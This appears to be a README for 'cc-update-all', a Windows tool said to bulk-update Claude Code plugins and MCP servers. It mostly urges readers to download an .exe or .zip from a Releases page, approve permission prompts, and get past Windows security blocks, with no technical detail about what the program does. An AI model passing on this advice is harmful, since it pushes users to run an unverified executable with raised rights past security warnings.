cc-update-all helps you update Claude Code plugins and MCP servers from one place.
It is made for people who want a faster way to keep their Claude tools current without checking each one by hand.
Use it to:
- update Claude Code plugins
- update MCP servers
- keep tools in sync
- reduce manual setup work
- run one command instead of many
- Open the Releases page
- Find the latest release at the top
- Download the Windows file for your system
- Open the file after it finishes downloading
- Follow the on-screen steps to install or run it
If you see more than one file, pick the one for Windows.
If there is a zip file, unzip it first, then open the app inside.
cc-update-all is built to work on Windows with a simple setup flow.
Typical use looks like this:
- Download the release from the link above
- Save it to a folder you can find, like Downloads
- Open the folder
- Run the app from the downloaded file
- Let it check your Claude tools
- Review the list of updates
- Start the bulk update process
If Windows asks for permission, choose Yes.
For the best result, check these items first:
- You have a Windows PC
- You can open downloaded files
- Claude Code is already installed
- Your plugins or MCP servers are already set up
- You have an internet connection
- You have enough space for the updates
If you use a work laptop, you may need admin access to run updates.
cc-update-all looks at the tools you use and updates them in one pass.
It removes the need to open each plugin or server one by one.
The normal flow is:
- Scan installed Claude Code plugins
- Scan registered MCP servers
- Check which items need updates
- Download the newer versions
- Apply the updates
- Show a simple result list
This keeps the update process short and easy to repeat.
When you open cc-update-all for the first time, it may:
- create local settings files
- check your current tools
- ask for access to files or folders
- build a list of items it can update
Let it finish the first scan before you close it.
If it opens a command window, keep it open until the update ends.
After setup, the daily use is simple:
- Open cc-update-all
- Let it scan your Claude tools
- Review the update list
- Start the update
- Wait for the process to finish
- Reopen Claude Code if needed
If you add a new plugin or MCP server later, run cc-update-all again to bring it up to date.
This tool is made for common Claude Code and MCP workflows, including:
- Claude Code plugins
- MCP servers
- helper tools used by Claude workflows
- small command-line tools tied to your setup
- packages managed through npm-style installs
It works best when your tools follow a standard install path.
During use, the app may show:
- a list of installed items
- current version numbers
- newer version numbers
- update status
- success or failure messages
- items that need manual review
This helps you see what changed without digging through folders.
People use cc-update-all when they want to:
- keep a Claude setup current
- avoid stale plugin versions
- update MCP servers before a session
- reduce setup time on a new machine
- clean up a long list of tools at once
It is useful if you work with vibe coding tools and want less upkeep.
If the app does not open, try these steps:
- Download the file again from the Releases page
- Make sure the file finished downloading
- Unzip the file if needed
- Run it again
- Close and reopen Windows Explorer
- Try a folder with a simple path, like
C:\Tools
If updates do not appear, check these points:
- the tool is installed in your current user profile
- the app has access to the folder
- the plugin or server was installed through a supported method
- the internet connection is active
If Windows blocks the file, use the options shown in the security prompt and run it again if you trust the source.
A clean setup helps update tools with less friction:
- keep Claude Code in one place
- avoid duplicate installs
- remove old plugin copies
- store MCP servers in standard folders
- run updates on a regular schedule
This makes the scan faster and the result easier to read.
On the Releases page, you may see files such as:
.exefor Windows.ziparchives- source files for advanced users
- checksums for file checks
For most Windows users, the .exe or .zip file is the one to use.
Always use the official release link below to get the latest build:
Visit the Releases page to download
- Run the update tool when you are not in the middle of work
- Keep Claude Code closed during the update if the tool asks for it
- Use the latest release
- Re-run the tool after adding new plugins
- Keep your network on while updates run
No. You only need to download the file and run it on Windows.
No. The tool is made to update many items at once.
Yes. That is one of its main uses.
This README focuses on Windows use. The release page may include files for other systems, but Windows is the main path here.
cc-update-all is built for tool setups that often use npm-style installs and related developer tools.
- Open the Releases page
- Download the Windows file
- Open the file
- Allow access if Windows asks
- Let the app scan your tools
- Start the bulk update
- Reopen Claude Code after the update
cc-update-all fits well if you:
- use Claude Code every day
- keep several plugins installed
- run MCP servers for local tools
- want one place to handle updates
- want less manual maintenance
This project centers on:
- automation
- bulk update
- Claude Code plugins
- MCP servers
- CLI-based workflows
- productivity
- self-update support
- developer tool maintenance